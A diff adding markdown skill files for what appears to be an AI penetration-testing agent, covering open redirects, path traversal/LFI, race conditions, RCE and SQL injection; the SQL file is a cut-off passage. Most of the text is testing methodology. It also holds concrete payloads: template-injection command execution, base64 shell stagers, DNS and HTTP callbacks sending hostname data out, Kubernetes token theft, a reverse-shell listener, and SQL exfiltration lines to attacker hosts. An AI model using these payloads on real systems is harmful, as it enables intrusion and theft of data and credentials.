+- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`
+- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`
+- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo
+
+### Parser Differentials
+
+**Userinfo**
+- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com
+- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`
+
+**Backslash and Slashes**
+- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com`
+
+**Whitespace and Control**
+- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`
+
+**Fragment and Query**
+- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`
+
+**Unicode and IDNA**
+- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot
+
+### Encoding Bypasses
+
+- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`
+- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`
+- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`
+- User-controlled path bases: `/out?url=/\evil.com`
+
+## Key Vulnerabilities
+
+### Allowlist Evasion
+
+**Common Mistakes**
+- Substring/regex contains checks: allows `trusted.com.evil.com`
+- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`
+- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted
+- Case/IDN drift between validator and browser
+
+**Robust Validation**
+- Canonicalize with a single modern URL parser (WHATWG URL)
+- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
+- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes
+
+### OAuth/OIDC/SAML
+
+**Redirect URI Abuse**
+- Using an open redirect on a trusted domain for redirect_uri enables code interception
+- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`
+- Path traversal/canonicalization: `/oauth/../../@evil.com`
+- `post_logout_redirect_uri` often less strictly validated
+
+### Client-Side Vectors
+
+**JavaScript Redirects**
+- `location.href`/`assign`/`replace` using user input
+- Meta refresh `content=0;url=USER_INPUT`
+- SPA routers: `router.push(searchParams.get('next'))`
+
+### Reverse Proxies and Gateways
+
+- Host/X-Forwarded-* may change absolute URL construction
+- CDNs that follow redirects for link checking can leak tokens when chained
+
+### SSRF Chaining
+
+- Server-side fetchers (web previewers, link unfurlers) follow 3xx
+- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)
+
+## Exploitation Scenarios
+
+### OAuth Code Interception
+
+1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`
+2. IdP sends code to trusted.example which redirects to attacker.tld
+3. Exchange code for tokens; demonstrate account access
+
+### Phishing Flow
+
+1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`
+2. Victim authenticates; browser navigates to attacker page
+3. Capture credentials/tokens via cloned UI
+
+### Internal Evasion
+
+1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`
+2. Redirect follows to metadata; confirm via timing/headers
+
+## Testing Methodology
+
+1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
+2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms
+3. **Compare behaviors** - Server-side validation vs browser navigation results
+4. **Multi-hop testing** - Trusted-domain → redirector → external
+5. **Prove impact** - Credential phishing, OAuth code interception, internal egress
+
+## Validation
+
+1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
+2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants
+3. Test multi-hop: prove only first hop is validated and second hop escapes constraints
+4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint
+
+## False Positives
+
+- Redirects constrained to relative same-origin paths with robust normalization
+- Exact pre-registered OAuth redirect_uri with strict verifier
+- Validators using a single canonical parser and comparing post-IDNA host and scheme
+- User prompts that show the exact final destination before navigating
+
+## Impact
+
+- Credential and token theft via phishing and OAuth/OIDC interception
+- Internal data exposure when server fetchers follow redirects
+- Policy bypass where allowlists are enforced only on the first hop
+- Cross-application trust erosion and brand abuse
+
+## Pro Tips
+
+1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
+2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
+3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser
+4. Exercise multi-hop across distinct subdomains and paths
+5. For SSRF chaining, target services known to follow redirects
+6. Favor allowlists of exact origins plus optional path prefixes
+7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)
+
+## Summary
+
+Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.

strix/skills/vulnerabilities/path_traversal_lfi_rfi.md

@@ -0,0 +1,190 @@
+---
+name: path-traversal-lfi-rfi
+description: Path traversal and file inclusion testing for local/remote file access and code execution
+---
+
+# Path Traversal / LFI / RFI
+
+Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
+
+## Attack Surface
+
+**Path Traversal**
+- Read files outside intended roots via `../`, encoding, normalization gaps
+
+**Local File Inclusion (LFI)**
+- Include server-side files into interpreters/templates
+
+**Remote File Inclusion (RFI)**
+- Include remote resources (HTTP/FTP/wrappers) for code execution
+
+**Archive Extraction**
+- Zip Slip: write outside target directory upon unzip/untar
+
+**Normalization Mismatches**
+- Server/proxy differences (nginx alias/root, upstream decoders)
+- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
+
+## High-Value Targets
+
+**Unix**
+- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
+- SSH keys, cloud creds, service configs/logs
+
+**Windows**
+- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs
+
+**Application**
+- Source code templates and server-side includes
+- Secrets in env dumps, framework caches
+
+## Reconnaissance
+
+### Surface Map
+
+- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
+- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
+- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
+- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
+- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
+
+### Capability Probes
+
+- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
+- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
+- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
+- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
+- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
+
+## Detection Channels
+
+### Direct
+
+- Response body discloses file content (text, binary, base64)
+- Error pages echo real paths
+
+### Error-Based
+
+- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations
+
+### OAST
+
+- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
+
+### Side Effects
+
+- Archive extraction writes files unexpectedly outside target
+- Verify with directory listings or follow-up reads
+
+## Key Vulnerabilities
+
+### Path Traversal Bypasses
+
+**Encodings**
+- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
+
+**Mixed Separators**
+- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
+
+**Dot Tricks**
+- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
+
+**Absolute Path Injection**
+- Bypass joins by supplying a rooted path
+
+**Alias/Root Mismatch**
+- nginx alias without trailing slash with nested location allows `../` to escape
+- Try `/static/../etc/passwd` and ";" variants (`..;`)
+
+**Upstream vs Backend Decoding**
+- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots
+
+### LFI Wrappers and Techniques
+
+**PHP Wrappers**
+- `php://filter/convert.base64-encode/resource=index.php` (read source)
+- `zip://archive.zip#file.txt`
+- `data://text/plain;base64`
+- `expect://` (if enabled)
+
+**Log/Session Poisoning**
+- Inject PHP/templating payloads into access/error logs or session files then include them
+
+**Upload Temp Names**
+- Include temporary upload files before relocation; race with scanners
+
+**Proc and Caches**
+- `/proc/self/environ` and framework-specific caches for readable secrets
+
+**Legacy Tricks**
+- Null-byte (`%00`) truncation in older stacks; path length truncation
+
+### Template Engines
+
+- PHP include/require; Smarty/Twig/Blade with dynamic template names
+- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
+- Seek dynamic template resolution from user input (theme/lang/template)
+
+### RFI Conditions
+
+**Requirements**
+- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
+- Custom fetchers that eval/execute retrieved content
+- SSRF-to-exec bridges
+
+**Protocol Handlers**
+- http, https, ftp; language-specific stream handlers
+
+**Exploitation**
+- Host a minimal payload that proves code execution
+- Prefer OAST beacons or deterministic output over heavy shells
+- Chain with upload or log poisoning when remote includes are disabled
+
+### Archive Extraction (Zip Slip)
+
+- Files within archives containing `../` or absolute paths escape target extract directory
+- Test multiple formats: zip/tar/tgz/7z
+- Verify symlink handling and path canonicalization prior to write
+- Impact: overwrite config/templates or drop webshells into served directories
+
+## Testing Methodology
+
+1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
+2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
+3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
+4. **Compare behaviors** - Web server vs application behavior
+5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
+
+## Validation
+
+1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
+2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
+3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
+4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
+5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
+
+## False Positives
+
+- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
+- Canonicalized paths constrained to an allowlist/root after normalization
+- Wrappers disabled and includes using constant templates only
+- Archive extractors that sanitize paths and enforce destination directories
+
+## Impact
+
+- Sensitive configuration/source disclosure → credential and key compromise
+- Code execution via inclusion of attacker-controlled content or overwritten templates
+- Persistence via dropped files in served directories; lateral movement via revealed secrets
+- Supply-chain impact when report/template engines execute attacker-influenced files
+
+## Pro Tips
+
+1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
+2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
+3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
+4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
+5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
+
+## Summary
+
+Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.

strix/skills/vulnerabilities/race_conditions.md

@@ -0,0 +1,181 @@
+---
+name: race-conditions
+description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
+---
+
+# Race Conditions
+
+Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
+
+## Attack Surface
+
+**Read-Modify-Write**
+- Sequences without atomicity or proper locking
+
+**Multi-Step Operations**
+- Check → reserve → commit with gaps between phases
+
+**Cross-Service Workflows**
+- Sagas, async jobs with eventual consistency
+
+**Rate Limits and Quotas**
+- Controls implemented at the edge only
+
+## High-Value Targets
+
+- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
+- Coupons/discounts: single-use codes, stacking checks, per-user limits
+- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
+- Auth flows: password reset/OTP consumption, session minting, device trust
+- File/object storage: multi-part finalize, version writes, share-link generation
+- Background jobs: export/import create/finalize endpoints; job cancellation/approve
+- GraphQL mutations and batch operations; WebSocket actions
+
+## Reconnaissance
+
+### Identify Race Windows
+
+- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
+- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
+- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
+- Map cross-service steps: when is state written vs published, what retries/compensations exist
+
+### Signals
+
+- Sequential request fails but parallel succeeds
+- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
+- Distinct response shapes/timings for simultaneous vs sequential requests
+- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
+
+## Key Vulnerabilities
+
+### Request Synchronization
+
+- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
+- Last-byte synchronization: hold requests open and release final byte simultaneously
+- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
+
+### Idempotency and Dedup Bypass
+
+- Reuse the same idempotency key across different principals/paths if scope is inadequate
+- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
+- App-level dedup drops only the response while side effects (emails/credits) still occur
+
+### Atomicity Gaps
+
+- Lost update: read-modify-write increments without atomic DB statements
+- Partial two-phase workflows: success committed before validation completes
+- Unique checks done outside a unique index/upsert: create duplicates under load
+
+### Cross-Service Races
+
+- Saga/compensation timing gaps: execute compensation without preventing the original success path
+- Eventual consistency windows: act in Service B before Service A's write is visible
+- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
+
+### Rate Limits and Quotas
+
+- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
+- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
+
+### Optimistic Concurrency Evasion
+
+- Omit If-Match/ETag where optional; supply stale versions if server ignores them
+- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
+
+### Database Isolation
+
+- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
+- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
+- Lock granularity issues: row vs table; application locks held only in-process
+
+### Distributed Locks
+
+- Redis locks without NX/EX or fencing tokens allow multiple winners
+- Locks stored in memory on a single node; bypass by hitting other nodes/regions
+
+## Bypass Techniques
+
+- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
+- Switch methods/content-types/endpoints that trigger the same state change via different code paths
+- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
+- Degrade the target (large payloads, slow endpoints) to widen race windows
+
+## Special Contexts
+
+### GraphQL
+
+- Parallel mutations and batched operations may bypass per-mutation guards
+- Ensure resolver-level idempotency and atomicity
+- Persisted queries and aliases can hide multiple state changes in one request
+
+### WebSocket
+
+- Per-message authorization and idempotency must hold
+- Concurrent emits can create duplicates if only the handshake is checked
+
+### Files and Storage
+
+- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
+- Re-use pre-signed URLs concurrently
+
+### Auth Flows
+
+- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
+- Verify consume is atomic
+
+## Chaining Attacks
+
+- Race + Business logic: violate invariants (double-refund, limit slicing)
+- Race + IDOR: modify or read others' resources before ownership checks complete
+- Race + CSRF: trigger parallel actions from a victim to amplify effects
+- Race + Caching: stale caches re-serve privileged states after concurrent changes
+
+## Testing Methodology
+
+1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
+2. **Identify reads/writes** - Where they occur (service, DB, cache)
+3. **Baseline** - Single requests to establish expected behavior
+4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas
+5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)
+6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
+7. **Confirm durability** - Verify state changes persist and are reproducible
+
+## Validation
+
+1. Single request denied; N concurrent requests succeed where only 1 should
+2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
+3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
+4. Evidence across channels (e.g., REST and GraphQL) if applicable
+5. Include before/after state and exact request set used
+
+## False Positives
+
+- Truly idempotent operations with enforced ETag/version checks or unique constraints
+- Serializable transactions or correct advisory locks/queues
+- Visual-only glitches without durable state change
+- Rate limits that reject excess with atomic counters
+
+## Impact
+
+- Financial loss (double spend, over-issuance of credits/refunds)
+- Policy/limit bypass (quotas, single-use tokens, seat counts)
+- Data integrity corruption and audit trail inconsistencies
+- Privilege or role errors due to concurrent updates
+
+## Pro Tips
+
+1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
+2. Start small (N=5–20), then scale; too much noise can mask the window
+3. Target read–modify–write code paths and endpoints with idempotency keys
+4. Compare REST vs GraphQL vs WebSocket; protections often differ
+5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
+6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
+7. Use correlation IDs and logs to prove concurrent interleaving
+8. Widen windows by adding server load or slow backend dependencies
+9. Validate on production-like latency; some races only appear under real load
+10. Document minimal, repeatable request sets that demonstrate durable impact
+
+## Summary
+
+Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.

strix/skills/vulnerabilities/rce.md

@@ -0,0 +1,249 @@
+---
+name: rce
+description: RCE testing covering command injection, deserialization, template injection, and code evaluation
+---
+
+# RCE
+
+Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
+
+## Attack Surface
+
+**Command Execution**
+- OS command execution via wrappers (shells, system utilities, CLIs)
+
+**Dynamic Evaluation**
+- Template engines, expression languages, eval/vm
+
+**Deserialization**
+- Insecure deserialization and gadget chains across languages
+
+**Media Pipelines**
+- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg
+
+**SSRF Chains**
+- Internal services exposing execution primitives (FastCGI, Redis)
+
+**Container Escalation**
+- App RCE to node/cluster compromise via Docker/Kubernetes
+
+## Detection Channels
+
+### Time-Based
+
+**Unix**
+- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
+- Gate delays with short subcommands to reduce noise
+
+**Windows**
+- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
+- PowerShell: `Start-Sleep -s 2`
+
+### OAST
+
+Use `interactsh-client -v` in the sandbox to mint a unique callback
+domain (`*.oast.fun`); substitute it for `attacker.tld` below. Each
+invocation prints inbound DNS/HTTP hits to stdout in real time.
+
+**DNS**
+```bash
+nslookup $(whoami).xyz.oast.fun
+```
+
+**HTTP**
+```bash
+curl https://xyz.oast.fun/$(hostname)
+```
+
+### Output-Based
+
+**Direct**
+```bash
+;id;uname -a;whoami
+```
+
+**Encoded**
+```bash
+;(id;hostname)|base64
+```
+
+## Key Vulnerabilities
+
+### Command Injection
+
+**Delimiters and Operators**
+- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
+- Windows: `& | || ^`
+
+**Argument Injection**
+- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
+- Break out of quoted segments by alternating quotes and escapes
+- Environment expansion: `$PATH`, `${HOME}`, command substitution
+- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
+
+**Path and Builtin Confusion**
+- Force absolute paths (`/usr/bin/id`) vs relying on PATH
+- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered
+- Use `sh -c` or `cmd /c` wrappers to reach the shell
+
+**Evasion**
+- Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
+- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
+- Variable building: `a=i;b=d; $a$b`
+- Base64 stagers: `echo payload | base64 -d | sh`
+- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`
+
+### Template Injection
+
+Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
+
+**Minimal Probes**
+```
+Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
+Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
+Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
+EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
+```
+
+### Deserialization and EL
+
+**Java**
+- Gadget chains via CommonsCollections/BeanUtils/Spring
+- Tools: ysoserial
+- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
+
+**.NET**
+- BinaryFormatter/DataContractSerializer
+- APIs accepting untrusted ViewState without MAC
+
+**PHP**
+- `unserialize()` and PHAR metadata
+- Autoloaded gadget chains in frameworks and plugins
+
+**Python/Ruby**
+- pickle, `yaml.load`/`unsafe_load`, Marshal
+- Auto-deserialization in message queues/caches
+
+**Expression Languages**
+- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec
+
+### Media and Document Pipelines
+
+**ImageMagick/GraphicsMagick**
+- policy.xml may limit delegates; still test legacy vectors
+```
+push graphic-context
+fill 'url(https://x.tld/a"|id>/tmp/o")'
+pop graphic-context
+```
+
+**Ghostscript**
+- PostScript in PDFs/PS: `%pipe%id` file operators
+
+**ExifTool**
+- Crafted metadata invoking external tools or library bugs
+
+**LaTeX**
+- `\write18`/`--shell-escape`, `\input` piping; pandoc filters
+
+**ffmpeg**
+- concat/protocol tricks mediated by compile-time flags
+
+### SSRF to RCE
+
+**FastCGI**
+- `gopher://` to php-fpm (build FPM records to invoke system/exec)
+
+**Redis**
+- `gopher://` write cron/authorized_keys or webroot
+- Module load when allowed
+
+**Admin Interfaces**
+- Jenkins script console, Spark UI, Jupyter kernels reachable internally
+
+### Container and Kubernetes
+
+**Docker**
+- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
+- Enumerate mounts and capabilities: `capsh --print`
+- Abuses: mounted docker.sock, hostPath mounts, privileged containers
+- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`
+
+**Kubernetes**
+- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
+- Query API for pods/secrets; enumerate RBAC
+- Talk to kubelet on 10250/10255; exec into pods
+- Escalate via privileged pods, hostPath mounts, or daemonsets
+
+## Bypass Techniques
+
+**Encoding Differentials**
+- URL encoding, Unicode normalization, comment insertion, mixed case
+- Request smuggling to reach alternate parsers
+
+**Binary Alternatives**
+- Absolute paths and alternate binaries (busybox, sh, env)
+- Windows variations (PowerShell vs CMD)
+- Constrained language bypasses
+
+## Post-Exploitation
+
+**Privilege Escalation**
+- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)
+
+**Persistence**
+- cron/systemd/user services; web shell behind auth
+- Plugin hooks; supply chain in CI/CD
+
+**Lateral Movement**
+- SSH keys, cloud metadata credentials, internal service tokens
+
+## Testing Methodology
+
+1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
+2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
+3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization
+4. **Map boundaries** - Read/write locations, outbound egress
+5. **Progress to control** - File write, scheduled execution, service restart hooks
+
+## Validation
+
+1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
+2. Show command context (uid, gid, cwd, env) and controlled output
+3. Demonstrate persistence or file write under application constraints
+4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
+5. Keep PoCs minimal and reproducible across runs and transports
+
+## False Positives
+
+- Only crashes or timeouts without controlled behavior
+- Filtered execution of a limited command subset with no attacker-controlled args
+- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
+- Simulated outputs not derived from executed commands
+
+## Impact
+
+- Remote system control under application user; potential privilege escalation to root
+- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
+- Cluster compromise when combined with container/Kubernetes misconfigurations
+
+## Pro Tips
+
+1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
+2. When command injection is weak, pivot to file write or deserialization/SSTI paths
+3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
+4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
+5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
+6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
+7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops
+
+## Tooling
+
+- Reverse-shell listener: `ncat -lvnp 4444` (in the sandbox; `ncat` is the
+  netcat variant that ships in the image). Pair with a one-shot shell
+  payload only when OAST + selective reads are insufficient — never
+  drop a persistent shell when a single targeted command will prove it.
+
+## Summary
+
+RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.

strix/skills/vulnerabilities/sql_injection.md

@@ -0,0 +1,190 @@
+---
+name: sql-injection
+description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
+---
+
+# SQL Injection
+
+SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
+
+## Attack Surface
+
+**Databases**
+- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
+- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
+
+**Integration Paths**
+- ORMs, query builders, stored procedures
+- Search servers, reporting/exporters
+
+**Input Locations**
+- Path/query/body/header/cookie
+- Mixed encodings (URL, JSON, XML, multipart)
+- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
+- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
+- JSON coercion or array containment operators
+- Batch/bulk endpoints and report generators that embed filters directly
+
+## Detection Channels
+
+**Error-Based**
+- Provoke type/constraint/parser errors revealing stack/version/paths
+
+**Boolean-Based**
+- Pair requests differing only in predicate truth
+- Diff status/body/length/ETag
+
+**Time-Based**
+- `SLEEP`/`pg_sleep`/`WAITFOR`
+- Use subselect gating to avoid global latency noise
+
+**Out-of-Band (OAST)**
+- DNS/HTTP callbacks via DB-specific primitives
+
+## DBMS Primitives
+
+### MySQL
+
+- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
+- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
+- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
+- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
+- Time: `SLEEP(n)`, `BENCHMARK`
+- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
+
+### PostgreSQL
+
+- Version/user/db: `version()`, `current_user`, `current_database()`
+- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
+- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
+- Time: `pg_sleep(n)`
+- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
+- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
+
+### MSSQL
+
+- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
+- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
+- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
+- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
+- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
+
+### Oracle
+
+- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
+- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
+- Time: `dbms_lock.sleep(n)`
+- Error-based: `to_number`/`to_date` conversions, `XMLType`
+- File: `UTL_FILE` with directory objects (privileged)
+
+## Key Vulnerabilities
+
+### UNION-Based Extraction
+
+- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
+- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
+- When UNION is filtered, switch to error-based or blind channels
+
+### Blind Extraction
+
+- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
+- Binary search on character space for fewer requests
+- Encode outputs (hex/base64) to normalize
+- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
+
+### Out-of-Band
+
+- Prefer OAST to minimize noise and bypass strict response paths
+- Embed data in DNS labels or HTTP query params
+- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
+- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
+- MySQL: `LOAD_FILE` with UNC path
+
+### Write Primitives
+
+- Auth bypass: inject OR-based tautologies or subselects into login checks
+- Privilege changes: update role/plan/feature flags when UPDATE is injectable
+- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
+- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
+
